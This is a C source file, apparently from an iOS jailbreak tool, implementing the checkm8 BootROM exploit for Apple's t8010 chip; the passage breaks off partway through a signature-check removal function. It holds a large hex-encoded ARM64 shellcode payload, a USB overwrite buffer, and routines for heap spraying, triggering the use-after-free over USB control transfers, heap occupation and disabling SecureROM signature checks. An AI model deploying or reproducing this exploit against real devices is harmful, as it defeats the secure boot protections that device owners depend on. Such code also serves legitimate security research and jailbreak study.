#include <io/iousb.h>
#include <common/common.h>
#include <asm64.h>
#include <exploit/checkm8/t8010.h>

static unsigned char blank[2048];

static unsigned char overwriteBuf[] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x6c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00
};

static unsigned int overwriteLen = 48;

static unsigned char payload[] = {
    0x13, 0x00, 0x80, 0xd2, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91,
    0x20, 0x07, 0x00, 0x58, 0x40, 0x07, 0x00, 0x58, 0x00, 0x04, 0x00, 0x91,
    0x01, 0x00, 0x40, 0x39, 0xc1, 0xff, 0xff, 0x35, 0x01, 0x06, 0x00, 0x10,
    0x22, 0x0c, 0x40, 0xa9, 0x02, 0x0c, 0x00, 0xa9, 0x60, 0x06, 0x00, 0x58,
    0x81, 0x06, 0x00, 0x58, 0x20, 0x00, 0x3f, 0xd6, 0x81, 0x06, 0x00, 0x58,
    0x20, 0x00, 0x00, 0x39, 0x80, 0x06, 0x00, 0x58, 0x1f, 0x04, 0x00, 0xf1,
    0x21, 0x01, 0x00, 0x54, 0x61, 0x06, 0x00, 0x58, 0x20, 0x00, 0x40, 0xb9,
    0x1f, 0x00, 0x00, 0x72, 0xa0, 0x03, 0x00, 0x54, 0x20, 0x00, 0x40, 0xb9,
    0x00, 0x78, 0x1f, 0x12, 0x20, 0x00, 0x00, 0xb9, 0x19, 0x00, 0x00, 0x14,
    0xa0, 0x05, 0x00, 0x58, 0x81, 0xfc, 0xff, 0x10, 0xa2, 0x05, 0x00, 0x58,
    0x21, 0x00, 0x02, 0x8b, 0x02, 0x00, 0x80, 0xd2, 0x83, 0x05, 0x00, 0x58,
    0xa4, 0x05, 0x00, 0x58, 0x05, 0x60, 0x00, 0x91, 0x85, 0x00, 0x00, 0xf9,
    0x23, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9, 0x23, 0x10, 0x41, 0xa9,
    0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x42, 0xa9, 0x03, 0x10, 0x02, 0xa9,
    0x23, 0x10, 0x43, 0xa9, 0x03, 0x10, 0x03, 0xa9, 0x20, 0x7e, 0x0b, 0xd5,
    0xbf, 0x3f, 0x03, 0xd5, 0x00, 0x00, 0x01, 0x91, 0x21, 0x00, 0x01, 0x91,
    0x42, 0x00, 0x01, 0x91, 0x5f, 0x00, 0x03, 0xeb, 0x43, 0xfe, 0xff, 0x54,
    0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
    0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0x20, 0x50, 0x57, 0x4e,
    0x44, 0x3a, 0x5b, 0x63, 0x68, 0x65, 0x63, 0x6b, 0x6d, 0x38, 0x5d, 0x00,
    0x30, 0x8a, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0xf8, 0x3c, 0x08, 0x80,
    0x01, 0x00, 0x00, 0x00, 0x50, 0xd1, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xda, 0x05, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44,
    0x45, 0x46, 0x47, 0x48, 0x00, 0xc0, 0x2b, 0x10, 0x02, 0x00, 0x00, 0x00,
    0x00, 0xfc, 0x0a, 0x80, 0x01, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x47, 0x00, 0x00, 0x58, 0xe0, 0x00, 0x1f, 0xd6, 0xb8, 0xdf, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xff, 0x17, 0x20, 0x00, 0x20, 0xd4,
    0x02, 0x00, 0x40, 0x79, 0x5f, 0x84, 0x0a, 0x71, 0x81, 0xff, 0xff, 0x54,
    0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xf4, 0x4f, 0xbf, 0xa9,
    0xf3, 0x03, 0x00, 0xaa, 0x34, 0x0e, 0x00, 0x58, 0xe1, 0xff, 0x9f, 0x52,
    0x62, 0x06, 0x40, 0x79, 0x3f, 0x00, 0x02, 0x6b, 0xe1, 0x04, 0x00, 0x54,
    0x80, 0x02, 0x40, 0xf9, 0xa1, 0x0d, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb,
    0xe1, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x0a, 0x40, 0xf9,
    0x81, 0x0e, 0x40, 0xf9, 0x82, 0x12, 0x40, 0xf9, 0x83, 0x16, 0x40, 0xf9,
    0x84, 0x1a, 0x40, 0xf9, 0x85, 0x1e, 0x40, 0xf9, 0x86, 0x22, 0x40, 0xf9,
    0x87, 0x22, 0x40, 0xf9, 0x88, 0x06, 0x40, 0xf9, 0x00, 0x01, 0x3f, 0xd6,
    0x28, 0x0c, 0x00, 0x58, 0x88, 0x02, 0x00, 0xa9, 0x15, 0x00, 0x00, 0x14,
    0x01, 0x0c, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb, 0x01, 0x01, 0x00, 0x54,
    0x9f, 0x02, 0x00, 0xf9, 0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9,
    0x34, 0x00, 0x00, 0x94, 0xe8, 0x0a, 0x00, 0x58, 0x88, 0x02, 0x00, 0xf9,
    0x0b, 0x00, 0x00, 0x14, 0x01, 0x0b, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb,
    0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x06, 0x41, 0xa9,
    0x82, 0x12, 0x40, 0xf9, 0x10, 0x00, 0x00, 0x94, 0xa8, 0x09, 0x00, 0x58,
    0x88, 0x02, 0x00, 0xf9, 0x01, 0x00, 0x00, 0x14, 0x9f, 0x3f, 0x03, 0xd5,
    0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x80, 0x52, 0xe1, 0x03, 0x14, 0xaa,
    0x62, 0x0e, 0x40, 0x79, 0x03, 0x00, 0x80, 0xd2, 0x44, 0x09, 0x00, 0x58,
    0x80, 0x00, 0x3f, 0xd6, 0x00, 0x00, 0x80, 0x52, 0xf4, 0x4f, 0xc1, 0xa8,
    0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0xe3, 0xc3, 0x00, 0xb2,
    0x21, 0x1c, 0x40, 0x92, 0x21, 0x7c, 0x03, 0x9b, 0xe3, 0x03, 0x00, 0xaa,
    0x5f, 0x20, 0x00, 0xf1, 0xa3, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xf9,
    0x00, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1, 0xfb, 0xff, 0xff, 0x17,
    0x5f, 0x10, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9,
    0x00, 0x10, 0x00, 0x91, 0x42, 0x10, 0x00, 0xd1, 0x5f, 0x08, 0x00, 0xf1,
    0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9, 0x00, 0x08, 0x00, 0x91,
    0x42, 0x08, 0x00, 0xd1, 0x82, 0x00, 0x00, 0xb4, 0x01, 0x00, 0x00, 0xb9,
    0x00, 0x04, 0x00, 0x91, 0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x03, 0xaa,
    0xc0, 0x03, 0x5f, 0xd6, 0xe4, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1,
    0xe3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xf9, 0x03, 0x00, 0x00, 0xf9,
    0x00, 0x20, 0x00, 0x91, 0x21, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1,
    0xf9, 0xff, 0xff, 0x17, 0x5f, 0x10, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54,
    0x23, 0x00, 0x40, 0xb9, 0x03, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91,
    0x21, 0x10, 0x00, 0x91, 0x42, 0x10, 0x00, 0xd1, 0x5f, 0x08, 0x00, 0xf1,
    0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0x79, 0x03, 0x00, 0x00, 0x79,
    0x00, 0x08, 0x00, 0x91, 0x21, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1,
    0xc2, 0x00, 0x00, 0xb4, 0x23, 0x00, 0x40, 0x39, 0x03, 0x00, 0x00, 0x39,
    0x00, 0x04, 0x00, 0x91, 0x21, 0x04, 0x00, 0x91, 0x42, 0x04, 0x00, 0xd1,
    0xe0, 0x03, 0x04, 0xaa, 0xc0, 0x03, 0x5f, 0xd6, 0x1f, 0x20, 0x03, 0xd5,
    0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x63, 0x65, 0x78, 0x65,
    0x63, 0x65, 0x78, 0x65, 0x65, 0x6e, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x64,
    0x63, 0x6d, 0x65, 0x6d, 0x63, 0x6d, 0x65, 0x6d, 0x73, 0x6d, 0x65, 0x6d,
    0x73, 0x6d, 0x65, 0x6d, 0x98, 0xdc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xa5, 0x06, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x25, 0x06, 0x00, 0x80, 0x01, 0x00, 0x60, 0x00, 0xa5, 0x06, 0x00, 0x80,
    0x01, 0x00, 0x00, 0x00, 0xe2, 0x07, 0x61, 0xb2, 0x42, 0x80, 0x42, 0x91,
    0x41, 0x00, 0x43, 0xf9, 0x22, 0x48, 0x72, 0x92, 0x03, 0x00, 0x80, 0xd2,
    0x04, 0xff, 0x87, 0xd2, 0x41, 0x68, 0x63, 0xf8, 0x21, 0xf8, 0x49, 0x92,
    0x21, 0xf8, 0x4a, 0x92, 0x21, 0xf4, 0x78, 0x92, 0x41, 0x68, 0x23, 0xf8,
    0xbf, 0x3f, 0x03, 0xd5, 0x63, 0x20, 0x00, 0x91, 0x7f, 0x00, 0x04, 0xeb,
    0x0b, 0xff, 0xff, 0x54, 0x00, 0x00, 0x80, 0xd2, 0xe1, 0x07, 0x61, 0xb2,
    0x21, 0x9c, 0x18, 0x91, 0x03, 0xc4, 0x72, 0xd3, 0x21, 0x00, 0x03, 0x8b,
    0x03, 0xf0, 0x7d, 0xd3, 0x41, 0x68, 0x23, 0xf8, 0x00, 0x04, 0x00, 0x91,
    0x1f, 0x80, 0x00, 0xf1, 0x0b, 0xff, 0xff, 0x54, 0xe2, 0x07, 0x61, 0xb2,
    0x42, 0x80, 0x42, 0x91, 0x21, 0x00, 0xc0, 0xd2, 0x21, 0x94, 0x18, 0x91,
    0x41, 0x00, 0x02, 0xf9, 0xa0, 0x01, 0x82, 0xd2, 0x00, 0x10, 0x18, 0xd5,
    0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xc0, 0x03, 0x5f, 0xd6,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x10, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x20, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00,
    0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x08, 0x0b, 0x80,
    0x01, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x40, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0xa0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x06, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x04, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x78, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xb8, 0xa4, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe4, 0x03, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x34, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0xb0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00,
    0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x08, 0x0b, 0x80,
    0x01, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xd0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4c, 0xcc, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0xe0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00,
    0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x06, 0x0b, 0x82, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x80,
    0x01, 0x00, 0x00, 0x00, 0xe4, 0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x14, 0xa5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00
};

static unsigned int payloadLen = 2400;

static int patch_payload(io_client_t client)
{
    int r;
    int i=0;
    
    r = -1;
    {
        i = 0x110;
        if(client->isDemotion == true) {
            *(uint64_t*)(payload + i) = 1; // demote_flag
            char* pwndStr = "demoted";
            memcpy(payload + 0xe7, pwndStr, 7);
            r=0;
        } else {
            *(uint64_t*)(payload + i) = 0; // demote_flag
            r=0;
        }
    }
    return r;
}

static void heap_spray(io_client_t client)
{
    transfer_t result;
    UInt32 wLen;
    
    memset(&blank, '\0', 2048);
    
    result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 2048);
    DEBUGLOG("[%s] (1/5) %x", __FUNCTION__, result.ret);
    usleep(1000);
    
    // For iOS devices (especially older ones)
    // Repeat forever until usb_ctrl_transfer(0x80,6,0x304,0x40a,blank,64) reaches Timeout
    int i=0;
    for(i=0;i<16384;i++){
        wLen = async_usb_ctrl_transfer_with_cancel_noloop(client, 0x80, 6, 0x0304, 0x040a, blank, 192, 1);
        result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
        if(result.ret != kIOReturnSuccess) break;
    }
    DEBUGLOG("[%s] (2/5) %x, %d", __FUNCTION__, result.ret, i);
    
    for(int i=0;i<5;i++){
        result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 193, 1);
    }
    DEBUGLOG("[%s] (3/5) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 192, 1);
    DEBUGLOG("[%s] (4/5) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 193, 1);
    DEBUGLOG("[%s] (5/5) %x", __FUNCTION__, result.ret);
}

static void set_global_state(io_client_t client)
{
    transfer_t result;
    unsigned int val;
    UInt32 sent;
    
    memset(&blank, '\x41', 2048);
    
    val = 1408;
    
    int i=0;
    while((sent = async_usb_ctrl_transfer_with_cancel(client, 0x21, 1, 0x0000, 0x0000, blank, 2048, 0)) >= val){
        i++;
        DEBUGLOG("[%s] (*/*) retry: %x", __FUNCTION__, i);
        usleep(10000);
        result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 64);
        DEBUGLOG("[%s] (*/*) %x", __FUNCTION__, result.ret);
        usleep(10000);
    }
    
    val += 0x40;
    val -= sent;
    
    DEBUGLOG("[%s] (1/3) sent: %x, val: %x", __FUNCTION__, (unsigned int)sent, val);
    
    result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, blank, val, 100);
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

static void heap_occupation(io_client_t client)
{
    transfer_t result;
    
    memset(&blank, '\0', 2048);
    
    result = usb_ctrl_transfer_with_time(client, 2, 3, 0x0000, 128, NULL, 0, 10);
    DEBUGLOG("[%s] (1/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, overwriteBuf, overwriteLen, 100);
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

// secureROM Signature check remover
static void rmsigcheck(io_client_t client)
{
    transfer_t result;
    
    memset(&blank, '\0', 2048);
    
    LOG("[%s] running rmsigcheck()", __FUNCTION__);
    
    // setup
    unsigned char wBuf1[76];
    unsigned char wBuf2[44];
    memset(&wBuf1, '\0', 76);
    memset(&wBuf2, '\0', 44);
    
    uint64_t dfu_image_base = 0x00000001800B0000;
    uint64_t write1         = 0x0000000100006c80;
    uint64_t write2         = 0x0000000100006ca8;
    
    // build
    *(uint32_t*)(wBuf1+ 0) = MEMC;
    *(uint32_t*)(wBuf1+ 4) = MEMC;
